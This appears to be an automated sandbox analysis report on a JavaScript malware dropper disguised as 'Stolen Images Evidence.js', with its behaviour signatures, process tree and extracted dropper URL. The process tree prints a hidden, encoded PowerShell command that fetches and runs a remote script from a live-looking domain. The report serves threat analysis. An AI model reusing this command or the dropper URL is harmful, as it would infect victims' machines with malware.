Analysis

  • max time kernel
    25s
  • max time network
    135s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    07/09/2021, 23:36

General

  • Target
    Stolen Images Evidence.js
  • Size 15KB
  • Sample210907-3llfxagfbl
  • SHA256 5a22e9bde5aaed03b323e5c933c473e9ba3831f4473790a3d4394baefe809d8a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://mabiorex.space/333g100/index.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1212
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1652
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1652 -s 2308
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3936

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1652-121-0x000002B8B2BB0000-0x000002B8B2BB1000-memory.dmp

        memory/1652-124-0x000002B8B2BE0000-0x000002B8B2BE2000-memory.dmp

        memory/1652-125-0x000002B8B2BE3000-0x000002B8B2BE5000-memory.dmp

        memory/1652-128-0x000002B8B2D70000-0x000002B8B2D71000-memory.dmp

        memory/1652-133-0x000002B8B2BE6000-0x000002B8B2BE8000-memory.dmp